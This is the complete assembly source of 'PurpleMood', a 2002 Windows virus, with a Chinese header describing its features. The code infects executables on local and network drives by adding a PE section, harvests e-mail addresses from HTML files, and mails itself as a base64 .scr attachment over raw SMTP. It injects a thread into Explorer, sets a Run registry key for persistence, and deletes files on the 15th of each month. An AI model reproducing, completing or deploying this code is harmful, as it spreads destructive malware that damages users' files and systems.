*******************************************************************
病毒名称:PurpleMood (紫色心情)
适用环境: Win9x/Winnt/Win2k/Winxp
编写环境: Win2k,Masm32v6
简 介:1. 感染本地硬盘和网络上所有exe(GUI)文件
2. 搜索本地所有邮件地址,将病毒作为附件发送出去
3. 在Explorer进程中注入线程监控程序的运行。
4. 每月15日,发作。删除硬盘所有文件。
完成日期:2002/6/20
版 本:v1.0
大 小:6736(byte)
联系地址: [email protected]
警 告 : 以下程序(方法)可能带有攻击性,仅供技术交流。
使用者风险自负!若有其他用途,概与本人无关
万一有转贴,请保持完整性,多谢!
*******************************************************************
.386
.model flat,stdcall
option casemap:none
include useful.inc
.data
hi db "hi",0
ppmm db "ppmm,you need no reason to love me!",0
.code
main:
mov HostEntry,offset ret_addr
jmp VStart
ret_addr:
Invoke MessageBox,NULL,offset ppmm,offset hi,0
ret
CODE SEGMENT
VStart: ;virus starts here :)
call start
start:
pop ebx
sub ebx , offset start
call GetKBase
call GetAPIz
call PayLoad
lea esi,[offset szEXEPath+ebx]
push MAX_PATH
push esi
push NULL
mov eax , 12345678h
_GetModuleFileNameA = dword ptr $-4
call eax
lea edi,[offset szFilePath+ebx]
push 50
push edi
mov eax , 12345678h
_GetSystemDirectoryA = dword ptr $-4
call eax
add eax,FNameSize
mov SCRPathSize[ebx],eax
lea eax,[offset szFileName+ebx]
push eax
push edi
mov eax , 12345678h
_lstrcat = dword ptr $-4
call eax
push esi
push edi
mov eax , 12345678h
_lstrcmpi = dword ptr $-4
call eax
or eax,eax
jz StartInfect
call CreatePE
call rtInit
call MakeSCRAlive
Ret2Host:
push HostEntry[ebx]
ret ;此时栈顶为HostEntry,返回正常入口执行
StartInfect:
lea eax,[offset nGetProcAddress+ebx] ;Mutex name
push eax
push FALSE
push NULL
mov eax , 12345678h
_CreateMutex = dword ptr $-4
call eax
lea eax,[offset MonitorThread + ebx]
push 0
push 0
push ebx ;I pass 0 first :(
push eax
push 0
push 0
mov eax , 12345678h
_CreateThread = dword ptr $-4
call eax
lea eax,[offset PEThread + ebx]
push 0
push 0
push ebx ;I pass 0 first :(
push eax
push 0
push 0
call _CreateThread[ebx]
call MailThread ;while(TRUE)
;**********获得image of kernel32.dll的基址*****************
GetKBase:
mov edi , [esp+4]
and edi , 0FFFF0000h
.while TRUE
.if WORD ptr [edi] == IMAGE_DOS_SIGNATURE
mov esi, edi
add esi, [esi+03Ch]
.if DWORD ptr [esi] == IMAGE_NT_SIGNATURE
.break
.endif
.endif
sub edi, 010000h
.if edi < MIN_KERNEL_SEARCH_BASE ;win9x
mov edi, 0bff70000h ;0bff7000h=9x"base
.break
.endif
.endw
mov hKernel32[ebx],edi
ret
GetAPIz:
mov edx,edi ;edx->Kernel32_Base
assume edx :ptr IMAGE_DOS_HEADER
add edx,[edx].e_lfanew
assume edx:ptr IMAGE_NT_HEADERS
mov edx,[edx].OptionalHeader.DataDirectory.VirtualAddress
add edx,hKernel32[ebx]
assume edx:ptr IMAGE_EXPORT_DIRECTORY
mov ebp,[edx].AddressOfNames
add ebp,hKernel32[ebx] ;now ebp=Addr of RVAofName[]
xor eax,eax ;eax AddressOfNames Index
.repeat
push 14 ;Lenth of GetProcAddress
pop ecx
mov edi,[ebp]
add edi,hKernel32[ebx]
lea esi,[offset nGetProcAddress+ebx]
repz cmpsb
.if zero?
.break
.endif
add ebp,4 ;下一个RVA
inc eax
.until eax == [edx].NumberOfNames
mov ebp, [edx].AddressOfNameOrdinals
add ebp, hKernel32[ebx]
movzx ecx, word ptr [ebp+eax*2]
mov ebp, [edx].AddressOfFunctions ;get addr of the api
add ebp, hKernel32[ebx]
mov eax, [ebp+ecx*4]
add eax,hKernel32[ebx]
mov _GetProcAddress[ebx],eax ;Save GetProcAddress
GetOApiz:
call @api_table
db "LoadLibraryA",0
db "CreateThread",0
db "CreateRemoteThread",0
db "WinExec",0
db "CreateMutexA",0
db "OpenMutexA",0
db "ReleaseMutex",0
db "FindFirstFileA",0
db "FindNextFileA",0
db "FindClose",0
db "CreateFileA",0
db "CreateFileMappingA",0
db "MapViewOfFile",0
db "UnmapViewOfFile",0
db "SetFilePointer",0
db "WriteFile",0
db "CloseHandle",0
db "VirtualAlloc",0
db "VirtualAllocEx",0
db "WriteProcessMemory",0
db "VirtualFree",0
db "VirtualFreeEx",0
db "lstrcmpi",0
db "lstrcpy",0
db "lstrcat",0
db "lstrlen",0
db "GetFileSize",0
db "GetSystemDirectoryA",0
db "GetModuleFileNameA",0
db "Sleep",0
db "GetSystemTime",0
db "DeleteFileA",0
db "OpenProcess",0
@api_table:
pop edi
call @api_dest
K_Apiz:
dd offset _LoadLibraryA
dd offset _CreateThread
dd offset _CreateRemoteThread
dd offset _WinExec
dd offset _CreateMutex
dd offset _OpenMutex
dd offset _ReleaseMutex
dd offset _FindFirstFile
dd offset _FindNextFile
dd offset _FindClose
dd offset _CreateFile
dd offset _CreateFileMapping
dd offset _MapViewOfFile
dd offset _UnmapViewOfFile
dd offset _SetFilePointer
dd offset _WriteFile
dd offset _CloseHandle
dd offset _VirtualAlloc
dd offset _VirtualAllocEx
dd offset _WriteProcessMemory
dd offset _VirtualFree
dd offset _VirtualFreeEx
dd offset _lstrcmpi
dd offset _lstrcpy
dd offset _lstrcat
dd offset _lstrlen
dd offset _GetFileSize
dd offset _GetSystemDirectoryA
dd offset _GetModuleFileNameA
dd offset _Sleep
dd offset _GetSystemTime
dd offset _DeleteFile
dd offset _OpenProcess
K_API_NUM = ($-K_Apiz)/4
@api_dest:
pop esi
push K_API_NUM
pop ecx
xor ebp,ebp
K_begin:
push ecx
push edi
push hKernel32[ebx]
call _GetProcAddress[ebx]
or eax,eax
jz GA_Fail
mov edx , [esi+ebp]
mov dword ptr [edx+ebx],eax
xor eax,eax
repnz scasb ;寻找字符串结束标志0,使edi指向下个函数名
add ebp,4
pop ecx
loop K_begin
@pushsz "MPR.dll"
call _LoadLibraryA[ebx]
or eax,eax
jz short GA_Fail
xchg esi,eax ;HMODULE of MPR.dll
Mpr_begin:
@pushsz "WNetOpenEnumA"
push esi
call _GetProcAddress[ebx]
mov _WNetOpenEnum[ebx],eax
@pushsz "WNetEnumResourceA"
push esi
call _GetProcAddress[ebx]
mov _WNetEnumResource[ebx],eax
@pushsz "WNetCloseEnum"
push esi
call _GetProcAddress[ebx]
mov _WNetCloseEnum[ebx],eax
GA_Fail:
ret
PayLoad:
call @PL1
SystemTime SYSTEMTIME <>
@PL1: mov esi,[esp]
mov eax , 12345678h
_GetSystemTime = dword ptr $-4
call eax
movzx eax , word ptr [esi+6] ;SystemTime.wDay
cmp ax,14h ;15号吗?
jnz PL_Exit
KILL:
push FILE_ALL
@pushsz "d:/test"
call EnumDir
PL_Exit:
ret
;*********************************************
;the thread begin to enum all file in disk and
;network , when it finds a pe file Infect it!
;*********************************************
PEThread PROC MReloc : DWORD
PT_Work:
mov ebx,MReloc
push FILE_EXE
@pushsz "d:/test"
call EnumDir
;push NULL
;call EnumNetWork
push 1000*60*60 ;sleep an hour:)
call _Sleep[ebx]
jmp short PT_Work
PEThread ENDP
;枚举网络邻居
EnumNetWork PROC pNetResource : DWORD
LOCAL hEnum : DWORD
LOCAL Count : DWORD
LOCAL BufferSize : DWORD
pushad
push 0FFFFFFFFh
pop Count
push 16*1024
pop BufferSize
lea eax , hEnum
push eax
push pNetResource
push 0
push RESOURCETYPE_DISK
push RESOURCE_GLOBALNET
mov eax , 12345678h
_WNetOpenEnum = dword ptr $-4
call eax
or eax,eax
jnz EN_Exit
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push 16*1024
push 0
mov eax , 12345678h
_VirtualAlloc = dword ptr $-4
call eax
or eax,eax
jz short EN_Close
mov pNetResource,eax
lea eax,BufferSize
push eax
push pNetResource
lea eax,Count
push eax
push hEnum
mov eax , 12345678h
_WNetEnumResource = dword ptr $-4
call eax
or eax,eax
jnz short EN_Free
mov ecx,Count
mov edi,pNetResource
assume edi:ptr NETRESOURCEA
EN_Loop:
push ecx
mov eax,[edi].dwUsage
and al,2
.IF al == 2
push edi
call EnumNetWork
.ELSE
mov eax,[edi].lpRemoteName
push FILE_EXE
push eax
call EnumDir
.ENDIF
add edi,20h ; sizeof NETRESOURCE
pop ecx
loop EN_Loop
EN_Free:
push MEM_RELEASE
push 0
push pNetResource
mov eax , 12345678h
_VirtualFree = dword ptr $-4
call eax
EN_Close:
push hEnum
mov eax , 12345678h
_WNetCloseEnum = dword ptr $-4
call eax
EN_Exit:
popad
ret 4
EnumNetWork ENDP
;************InfectDisk***********************
;遍历本地硬盘,从C盘到Z盘,调用EnumDir遍历所有exe
;*********************************************
EnumDisk PROC DirName : DWORD,FileType : DWORD
.REPEAT
push FileType
push DirName
call EnumDir
mov eax,DirName
inc byte ptr [eax]
mov al,byte ptr[eax]
.UNTIL al > "z"
mov byte ptr [eax] , "c"
ret 8
EnumDisk ENDP
;************EnumDir************
;遍历DirName,寻找FileType类型文件
;*******************************
EnumDir PROC DirName : DWORD , FileType:DWORD
LOCAL hSearch : DWORD
LOCAL DirorFile[MAX_PATH] : DWORD
pushad
push DirName
lea esi,DirorFile
push esi
mov eax , 12345678h
_lstrcpy = dword ptr $-4
call eax
@pushsz "/*.*"
push esi ;DirorFile
call _lstrcat[ebx]
lea edi,[offset wfd+ebx]
push edi
push esi
mov eax , 12345678h
_FindFirstFile = dword ptr $-4
call eax
cmp eax,INVALID_HANDLE_VALUE
jz ED_Exit
mov hSearch,eax
.REPEAT
.if byte ptr [wfd+44+ebx]=="."
jmp short EN_NEXT
.endif
push DirName
push esi
call _lstrcpy[ebx]
@pushsz "/"
push esi
call _lstrcat[ebx]
lea eax,[wfd+44+ebx]
push eax
push esi ;DirorFile
call _lstrcat[ebx]
mov eax , dword ptr [wfd+ebx]
and eax , FILE_ATTRIBUTE_DIRECTORY
.if eax ==FILE_ATTRIBUTE_DIRECTORY
push dword ptr FileType
push esi
call EnumDir
.else ;是文件
push dword ptr FileType
push esi
call AnFile
.endif
EN_NEXT:
push edi
push hSearch
mov eax , 12345678h
_FindNextFile = dword ptr $-4
call eax
.UNTIL eax==0 ;FindNexeFile fail
ED_Close:
push hSearch
mov eax , 12345678h
_FindClose = dword ptr $-4
call eax
ED_Exit:
popad
ret 8
EnumDir ENDP
;分析文件类型,入口参数为文件名和欲匹配类型(exe或htm)
AnFile PROC FileName:DWORD,FileType:DWORD
pushad
AF_00: lodsb
or al,al
jnz AF_00
.if FileType == FILE_ALL ;all
push FileName
mov eax , 12345678h
_DeleteFile = dword ptr $-4
call eax
.elseif FileType == FILE_EXE ;exe
mov eax,[esi-5]
.if eax == "exe."
push FileName
call InfectFile
.endif
.else ;FileType = FILE_HTM
AF_01: sub esi , 2
lodsb
cmp al,"."
jnz AF_01
mov eax,[esi-1]
.if eax == "mth."
push FileName
call Parse_HTM
.endif
.endif
popad
ret 8
AnFile ENDP
;感染PE文件
InfectFile PROC FileName : DWORD
LOCAL hFile : DWORD
LOCAL hMapping : DWORD
LOCAL pMapping : DWORD
LOCAL ByteWrite: DWORD
pushad
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
push FileName
mov eax , 12345678h
_CreateFile = dword ptr $-4
call eax
cmp eax,INVALID_HANDLE_VALUE
jz IF_Exit
mov hFile,eax
push 0
push 0
push 0
push PAGE_READWRITE
push NULL
push hFile
mov eax , 12345678h
_CreateFileMapping = dword ptr $-4
call eax
or eax,eax
jz IF_F3
mov hMapping , eax
push 0
push 0
push 0
push FILE_MAP_READ+FILE_MAP_WRITE
push hMapping
mov eax , 12345678h
_MapViewOfFile = dword ptr $-4
call eax
or eax,eax
jz IF_F2
mov pMapping,eax
mov esi,eax
assume esi :ptr IMAGE_DOS_HEADER
.IF [esi].e_magic!=IMAGE_DOS_SIGNATURE
jmp IF_F1
.ENDIF
.IF [esi].e_lfarlc!=040h
jmp IF_F1
.ENDIF
add esi,[esi].e_lfanew ;此时edx指向PE文件头
assume esi:ptr IMAGE_NT_HEADERS
.IF [esi].Signature!=IMAGE_NT_SIGNATURE ;是PE文件吗?
jmp IF_F1
.ENDIF
.IF word ptr [esi].OptionalHeader.Subsystem!=2
jmp IF_F1
.ENDIF
.IF word ptr [esi+1ah]==0815h
jmp IF_F1
.ENDIF
mov eax,[esi].OptionalHeader.AddressOfEntryPoint
add eax,[esi].OptionalHeader.ImageBase
mov HostEntry[ebx],eax ;保存原入口
;***************************************************************
;判断是否有足够空间存储新节
;28h=sizeof IMAGE_SECTION_HEADER
;18h=sizeof IMAGE_FILE_HEADER+Signature
;edi将指向新节
;***************************************************************
movzx eax,[esi].FileHeader.NumberOfSections
mov ecx,28h
mul ecx
lea edi,[esi]
sub edi,pMapping
add eax,edi
add eax,18h
movzx edi,[esi].FileHeader.SizeOfOptionalHeader
add eax,edi
mov edi,eax
add edi,pMapping ;I forgot this first
add eax,28h
.IF eax>[esi].OptionalHeader.SizeOfHeaders
jmp IF_F1
.ENDIF
;*****************************************
;空间允许, ^0^,开始插入新节并填充各字段
;esi指向原文件最后一个节,利用它来填充新节某些字段
;*****************************************
inc [esi].FileHeader.NumberOfSections
assume edi:ptr IMAGE_SECTION_HEADER
mov dword ptr[edi],00736A78h ;"xjs"
push [esi].OptionalHeader.SizeOfImage
pop [edi].VirtualAddress
mov eax,offset VEnd-offset VStart
mov [edi].Misc.VirtualSize,eax
mov ecx,[esi].OptionalHeader.FileAlignment
div ecx
inc eax
mul ecx
mov [edi].SizeOfRawData,eax
lea eax,[edi-28h+14h] ;PointerToRawData
mov eax,[eax]
lea ecx,[edi-28h+10h] ;SizeOfRawData
mov ecx,[ecx]
add eax,ecx
mov [edi].PointerToRawData,eax
mov [edi].Characteristics,0E0000020h ;可读可写可执行
;***************************************************************
;更新SizeOfImage,AddressOfEntryPoint,使新节可以正确加载并首先执行
;***************************************************************
mov eax,[edi].Misc.VirtualSize
mov ecx,[esi].OptionalHeader.SectionAlignment
div ecx
inc eax
mul ecx
add eax,[esi].OptionalHeader.SizeOfImage
mov [esi].OptionalHeader.SizeOfImage,eax
mov eax,[edi].VirtualAddress
mov [esi].OptionalHeader.AddressOfEntryPoint,eax
mov word ptr [esi+1ah],0815h ;写入感染标志
push FILE_BEGIN
push 0
push [edi].PointerToRawData
push hFile
mov eax , 12345678h
_SetFilePointer = dword ptr $-4
call eax
;****************************************************************
;设置文件指针到结尾后,写入从VStart开始的代码,大小经过文件对齐
;****************************************************************
push 0
lea eax,ByteWrite
push eax
push [edi].SizeOfRawData
lea eax,[offset VStart+ebx]
push eax
push hFile
mov eax , 12345678h
_WriteFile = dword ptr $-4
call eax
IF_F1:
push pMapping
mov eax , 12345678h
_UnmapViewOfFile = dword ptr $-4
call eax
IF_F2:
push hMapping
call _CloseHandle[ebx]
IF_F3:
push hFile
call _CloseHandle[ebx]
IF_Exit:
popad
ret 4
InfectFile ENDP
;*****************电子邮件传播线程***************************
;从本地、网络的*.htm*获得邮件地址.
;***********************************************************
MailThread:
call MailInit
MT_Work:
push FILE_HTM
@pushsz "c:"
call EnumDisk
push 1000*60*60*24 ;sleep a day :)
call _Sleep[ebx]
jmp short MT_Work
;*********************************************************
;Mutate virus to BASE64 only once
;*********************************************************
MailInit PROC
LOCAL hFile : DWORD
LOCAL hMapping : DWORD
LOCAL pMapping : DWORD
pushad
xor edi,edi
push edi
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push edi
push FILE_SHARE_READ
push GENERIC_READ
lea eax,[offset szFilePath+ebx]
push eax
call _CreateFile[ebx]
mov hFile,eax
push edi
push edi
push edi
push PAGE_READONLY
push edi
push eax
call _CreateFileMapping[ebx]
mov hMapping,eax
push edi
push edi
push edi
push FILE_MAP_READ
push eax
call _MapViewOfFile[ebx]
mov pMapping,eax
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push SIZEOF_VIRUS_FILE*2
push edi
call _VirtualAlloc[ebx]
mov Base64_Encoded_Data[ebx],eax
mov esi,pMapping
mov edi,Base64_Encoded_Data[ebx]
call EncodeBase64
@pushsz "WSOCK32.DLL"
call _LoadLibraryA[ebx]
xchg eax,edi ;hSockDll
@pushsz "WSAStartup"
push edi
call _GetProcAddress[ebx]
lea esi,[offset WSA_Data+ebx]
push esi
push 0202h ;!!!warning 2.2
call eax
@pushsz "socket"
push edi
call _GetProcAddress[ebx]
mov [offset _socket+ebx],eax
@pushsz "gethostbyname"
push edi
call _GetProcAddress[ebx]
@pushsz "pact518.hit.edu.cn"
call eax
mov esi,[eax+12]
lodsd
push [eax]
pop [offset ServIP + ebx]
@pushsz "connect"
push edi
call _GetProcAddress[ebx]
mov [offset _connect+ebx],eax
@pushsz "send"
push edi
call _GetProcAddress[ebx]
mov [offset _send+ebx],eax
@pushsz "closesocket"
push edi
call _GetProcAddress[ebx]
mov [offset _closecsoket+ebx],eax
MI_Close3:
push pMapping
call _UnmapViewOfFile[ebx]
MI_Close2:
push hMapping
call _CloseHandle[ebx]
MI_Close:
push hFile
call _CloseHandle[ebx]
MI_Exit:
popad
ret
MailInit ENDP
;**********************************
;esi <- Buffer with data to encode
;edi <- Destination buffer
;**********************************
EncodeBase64 Proc
LOCAL BASE64_lines : DWORD
xor ecx,ecx
mov BASE64_lines,ecx
cld
BASE64encode_loop:
cmp ecx,SIZEOF_VIRUS_FILE
jae BASE64__exit
xor edx,edx
mov dh,byte ptr [esi+ecx]
inc ecx
cmp ecx,SIZEOF_VIRUS_FILE
jae BASE64__00
mov dl,byte ptr [esi+ecx]
BASE64__00:
inc ecx
shl edx,08h
cmp ecx,SIZEOF_VIRUS_FILE
jae BASE64__01
mov dl,byte ptr [esi+ecx]
BASE64__01:
inc ecx
mov eax,edx
and eax,00fc0000h
shr eax,12h
mov al,byte ptr [eax+offset Base64DecodeTable+ebx]
stosb
mov eax,edx
and eax,0003f000h
shr eax,0Ch
mov al,byte ptr [eax+offset Base64DecodeTable+ebx]
stosb
mov eax,edx
and eax,00000fc0h
shr eax,06h
mov al,byte ptr [eax+offset Base64DecodeTable+ebx]
stosb
mov eax,edx
and eax,0000003fh
mov al,byte ptr [eax+offset Base64DecodeTable+ebx]
stosb
cmp ecx,SIZEOF_VIRUS_FILE
jbe BASE64__02
mov byte ptr [edi-00000001h],"="
BASE64__02:
cmp ecx,SIZEOF_VIRUS_FILE+01h
jbe BASE64__03
mov byte ptr [edi-00000002h],"="
inc BASE64_lines
cmp BASE64_lines,00000013h
jne BASE64encode_loop
mov ax,0A0Dh
stosw
mov BASE64_lines,00000000h
BASE64__03:
jmp BASE64encode_loop
BASE64__exit:
mov ax,0A0Dh
stosw
ret
EncodeBase64 EndP
;**********************************************
;发送邮件函数
;1. 连接SMTP Server
;2. 发送协议信息,发送BASE64编码的附件,发送其余数据
;warning: 发送数据的长度
;**********************************************
SendMail PROC
pushad
push NULL
push SOCK_STREAM
push AF_INET
mov eax , 12345678h
_socket = dword ptr $-4
call eax
mov VSocket[ebx],eax
push sizeof(sockaddr) ; Size of connect strucure=16
call @SMTP1 ; Connect structure
dw AF_INET ; Family
db 0,25 ; Port number,avoid htons :)
ServIP dd 0 ; in_addr of server
db 8 dup(0) ; Unused
@SMTP1:
push [offset VSocket+ebx]
mov eax , 12345678h
_connect = dword ptr $-4
call eax
lea eax,[offset SM_I+ebx]
push eax
mov eax,12345678h
_lstrlen = dword ptr $ - 4
call eax
push NULL
push eax
call SM_I_End
SM_I:
HelloServer db "HELO cx",0dh,0ah
db "MAIL FROM: <"
TempMailTo db 128 dup (0)
SM_I_End:
push [offset VSocket+ebx]
call _send[ebx]
push NULL
push SM_II_End - SM_II
call SM_II_End
SM_II:
db ">",0dh,0ah
RcptTo db "RCPT TO: <[email protected]>",0dh,0ah
SM_II_End:
push [offset VSocket+ebx]
call _send[ebx]
push NULL
push SM_Data_Len
call SM_Data
MailData db "DATA",0dh,0ah
db "Subject:hi",0dh,0ah
db "Content-Type: multipart/mixed;boundary=WC_MAIL_PaRt_BoUnDaR
y_05151998",0dh,0ah
db "--WC_MAIL_PaRt_BoUnDaRy_05151998",0dh,0ah
db "Content-Type: application/octet-stream; file=PurpleMood.scr",0dh,0
ah
db "Content-Transfer-Encoding: base64",0dh,0ah
db "Content-Disposition: attachment; filename=PurpleMood.scr",0
dh,0ah,0dh,0ah
SM_Data_Len = $ - MailData
SM_Data:
push [offset VSocket+ebx]
call _send[ebx]
mov eax,Base64_Encoded_Data[ebx]
push eax
call _lstrlen[ebx]
push NULL ;Send base64 attachment
push eax ;SIZEOF_VIRUS_BASE64
push [offset Base64_Encoded_Data+ebx] ; Buffer
push [offset VSocket+ebx]
call _send[ebx]
push NULL
push SM_DR_Len
call SM_DR
MailDataRemain db "--WC_MAIL_PaRt_BoUnDaRy_05151998--",0dh,0ah
db 0dh,0ah,".",0dh,0ah,"QUIT",0dh,0ah
SM_DR_Len = $ - MailDataRemain
SM_DR:
push [offset VSocket+ebx]
call _send[ebx]
push [offset VSocket+ebx]
mov eax , 12345678h
_closecsoket = dword ptr $-4
call eax
popad
ret
SendMail ENDP
;分析MailFileName(*.htm*),寻找Mail_Addr.
Parse_HTM PROC FileName :DWORD
LOCAL hFile : DWORD
LOCAL hMapping : DWORD
LOCAL SafeFSize: DWORD
pushad
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ
push GENERIC_READ
push FileName
call _CreateFile[ebx]
or eax,eax
jz PH_Exit
mov hFile , eax
xor eax,eax
push eax
push eax
push eax
push PAGE_READONLY
push eax
push hFile
call _CreateFileMapping[ebx]
or eax,eax
jz PH_Close
mov hMapping,eax
xor eax,eax
push eax
push eax
push eax
push FILE_MAP_READ
push hMapping
call _MapViewOfFile[ebx]
or eax,eax
jz PH_Close2
xchg eax,esi ;esi = pMapping
push 0
push hFile
mov eax , 12345678h
_GetFileSize = dword ptr $-4
call eax
sub eax,16 ;For security
add eax,esi
mov SafeFSize,eax ;esi must be below SafeFSize
.while esi < SafeFSize
xor edx,edx ;Valid = FALSE
@pushsz "mailto:
pop edi
push 7 ;strlen of "mailto:
pop ecx
repz cmpsb
.if zero? ;找到 mailto:
lea edi,[offset TempMailTo+ebx]
push edi
.while esi
.if al==" "
.continue
.elseif al==">" || al==""" ||al==""""||al=="<"
xor al,al
stosb
.break
.elseif al=="@"
stosb
inc edx
.else
stosb
.endif
.endw
pop edi
.if edx==1
call SendMail
.endif
.endif
inc esi
.endw
PH_Close3:
push esi
call _UnmapViewOfFile[ebx]
PH_Close2:
push hMapping
call _CloseHandle[ebx]
PH_Close:
push hFile
call _CloseHandle[ebx]
PH_Exit:
popad
ret 4
Parse_HTM ENDP
;****************************
;data used by SendMail
;****************************
WSA_Data WSADATA <>
VSocket dd 0
_send dd 0
Base64_Encoded_Data dd 0
Base64DecodeTable equ $
db "A","B","C","D","E","F","G","H","I","J"
db "K","L","M","N","O","P","Q","R","S","T"
db "U","V","W","X","Y","Z","a","b","c","d"
db "e","f","g","h","i","j","k","l","m","n"
db "o","p","q","r","s","t","u","v","w","x"
db "y","z","0","1","2","3","4","5","6","7"
db "8","9","+","/"
SizeOfBase64DecodeTable equ $-Base64DecodeTable
;********CreatePE**********************
CreatePE PROC
LOCAL ByteWrite:DWORD
pushad
lea eax , [offset szFilePath+ebx]
push NULL
push FILE_ATTRIBUTE_NORMAL
push CREATE_NEW
push NULL
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
push eax
call _CreateFile[ebx]
or eax,eax
jz CT_Exit
xchg eax,esi
lea edi,ByteWrite
push 0
push edi
push 200h ; 文件头<200h & FileAliagment=200h
lea eax,[offset MDosStub+ebx]
push eax
push esi ;esi=hFile
call _WriteFile[ebx] ;Write DosStub,NTHeader,SectionHeader
push 0
push edi
push VRAW_SIZE
lea eax,[offset VStart+ebx]
push eax
push esi
call _WriteFile[ebx] ;Write code and import tatle
push esi
call _CloseHandle[ebx]
CT_Exit:
popad
ret
CreatePE ENDP
;*************MonitorThread********************************
;Enum所有活动进程,插入rtThreadStart->rtThreadEnd的代码,监视PurpleMood.scr
;的运行和注册表的Run项.
;**********************************************************
MonitorThread PROC MReloc : DWORD
mov ebx , MReloc
@pushsz "PSAPI"
call _LoadLibraryA[ebx]
xchg eax,esi
@pushsz "EnumProcesses"
push esi
call _GetProcAddress[ebx]
mov _EnumProcesses[ebx],eax
@pushsz "EnumProcessModules"
push esi
call _GetProcAddress[ebx]
mov _EnumProcessModules[ebx],eax
@pushsz "GetModuleBaseNameA"
push esi
call _GetProcAddress[ebx]
mov _GetModuleBaseNameA[ebx],eax
lea esi,[offset procz + ebx]
lea edi,[offset tmp + ebx]
push edi
push 128
push esi
mov eax,12345678h
_EnumProcesses = dword ptr $-4
call eax ;enumerate all running processes
dec eax
jne MT_Exit
add esi,4 ;esi->ProcessIDs[128]
p_search:
lodsd ;get PID
test eax,eax
je MT_Exit
call AnalyseProcess ;and try to infect it
jmp p_search
MT_Exit:
ret 4
MonitorThread ENDP
AnalyseProcess Proc
pushad
push eax ;process id
push 0
push PROCESS_VM_OPERATION or PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or P
ROCESS_VM_READ or PROCESS_QUERY_INFORMATION
mov eax,12345678h
_OpenProcess = dword ptr $-4
call eax ;PID -> handle
or eax,eax
jz AP_Exit
mov hProcess[ebx],eax
lea esi,[offset modz + ebx]
lea ecx,[offset tmp + ebx]
push ecx
push 4
push esi
push hProcess[ebx]
mov eax,12345678h
_EnumProcessModules = dword ptr $-4
call eax ;get first (main) module
dec eax
jne AP_Exit
lodsd
lea edi,[offset mod_name + ebx]
push MAX_PATH
push edi
push eax
push hProcess[ebx]
mov eax,12345678h
_GetModuleBaseNameA = dword ptr $-4
call eax ;get its name
test eax,eax
je AP_Exit
@pushsz "Explorer.exe"
push edi
call _lstrcmpi[ebx]
jnz AP_Exit
lea esi,[offset rtThreadStart + ebx]
mov edi,rtThreadEnd - rtThreadStart
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push edi
push 0
push 12345678h
hProcess = dword ptr $-4
mov eax,12345678h
_VirtualAllocEx = dword ptr $-4
call eax ;aloc there a memory
test eax,eax
je AP_Exit
xchg eax,ebp
push 0
push edi
push esi
push ebp
push dword ptr [ebx + offset hProcess]
mov eax,12345678h
_WriteProcessMemory = dword ptr $-4
call eax ;write there our code
dec eax
jne AP_FreeMem
xor edx,edx
push edx
push edx
push edx
push ebp
push edx
push edx
push dword ptr hProcess[ebx]
mov eax,12345678h
_CreateRemoteThread = dword ptr $-4
call eax ;run remote thread!
jmp AP_Exit ;important,i forgot first
AP_FreeMem:
push MEM_RELEASE
push 0
push ebp
push dword ptr hProcess[ebx]
mov eax,12345678h
_VirtualFreeEx = dword ptr $-4
call eax ;free memory
AP_Exit :
popad
ret
AnalyseProcess EndP
procz dd 128 dup (?)
dd ?
modz dd ?
mod_name db MAX_PATH dup (?)
tmp dd ?
rtThreadStart:
call rtStart
rtStart:
pop ebx
sub ebx , offset rtStart
call rtInit
rtWork:
call MakeSCRAlive
push 1000*60
mov eax , 12345678h
_Sleep = dword ptr $ - 4
call eax
jmp short rtWork
rtInit:
@pushsz "shlwapi.dll"
mov eax , 12345678h
_LoadLibraryA = dword ptr $ - 4
call eax
@pushsz "SHSetValueA"
push eax
mov eax , 12345678h
_GetProcAddress = dword ptr $ - 4
call eax
mov _SHSetValueA[ebx],eax
ret
MakeSCRAlive:
call @RT1
nGetProcAddress db "GetProcAddress",0
@RT1: push FALSE
push 1
mov eax , 12345678h
_OpenMutex = dword ptr $ - 4
call eax
xchg esi,eax
.if esi == NULL
jmp RunSCR
.else
push esi
mov eax , 12345678h
_ReleaseMutex = dword ptr $ - 4
call eax
push esi
mov eax , 12345678h
_CloseHandle = dword ptr $ - 4
call eax
jmp RegistSCR
.endif
RunSCR:
push SW_HIDE
call @RT2
szFilePath db 50 dup (0)
@RT2: mov eax , 12345678h
_WinExec = dword ptr $ - 4
call eax
RegistSCR:
lea eax,[offset szFilePath+ebx]
push 12345678h
SCRPathSize = dword ptr $-4
push eax
push REG_SZ
@pushsz "PurpleMood"
@pushsz "Software/Microsoft/Windows/CurrentVersion/Run"
push HKEY_LOCAL_MACHINE
mov eax,12345679h
_SHSetValueA = dword ptr $-4
call eax ;eax = SHSetValueA addr
ret
rtThreadEnd:
;*************Virus Data******************************
Signature db "紫色心情,你永远的期待",0
HostEntry dd 0
hKernel32 dd 0
szEXEPath db MAX_PATH dup (0)
szFileName db "/PurpleMood.scr",0
FNameSize = $ - szFileName
wfd WIN32_FIND_DATA <>
;*****************PE Data*****************************
VImports:
dd offset Kernel32_Pointers + @
dd -1,-1
dd offset Kernel32_Name + @
VIAT:
dd offset Kernel32_Relocated + @
db 14 dup (0)
Kernel32_Pointers dd offset Kernel32_Beep + @ , 0
Kernel32_Relocated dd offset Kernel32_Beep + @ , 0
Kernel32_Beep db ?,?,"MessageBoxA",0
Kernel32_Name db "User32.dll",0
MDosStub:
db 4Dh,5Ah,90h,00,03,00, 00, 00, 04, 00, 00,00,0FFh,0FFh,00,00
db 0B8h,00,00,00, 00, 00, 00, 00,40h, 00, 00, 00, 00, 00,00,00
db 00, 00, 00,00,00,00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00
db 00, 00, 00, 00,00,00,00,00, 00, 00, 00, 00, 40h, 00, 00, 00
db 50h,45h,00,00
MFileHeader:
Machine dw 14Ch
NumberOfSections dw 1
TimeDateStamp dd 3cbe5cc2h
PointerToSymbolTable dd 0
NumberOfSymbols dd 0
SizeOfOptionalHeader dw 0e0h
Characteristics dw 10fh
